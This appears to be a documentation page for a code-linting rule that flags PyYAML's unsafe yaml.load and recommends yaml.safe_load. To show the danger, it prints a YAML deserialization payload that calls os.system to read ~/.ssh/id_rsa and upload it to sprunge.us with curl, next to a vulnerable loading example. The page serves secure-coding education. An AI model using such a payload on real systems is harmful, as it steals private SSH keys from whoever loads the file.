#YML100 Use of unsafe yaml load. Allows instantiation of arbitrary objects. Consider yaml.safe_load(). The Pyyaml library's default loader will parse YAML like this: ```yaml !!python/object/apply:os.system ["cat ~/.ssh/id_rsa | curl -F 'sprunge=<-' http://sprunge.us"] ``` Using `yaml.load` against this input would execute local commands on the host shell ## Deprecation in pyyaml 5.1 Newer versions of Pyyaml (5.1) will raise a warning, however many situations like web servers developers would not see this warning. ## Example ```python import yaml with open('cfg.yaml') as cfg: config = yaml.load(cfg) ``` ## Quick Fixes * Plugin will recommend [Safe Load Fixer](../fixes/safeloadfixer.md). ## See Also * [YAML Load Input Documentation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)
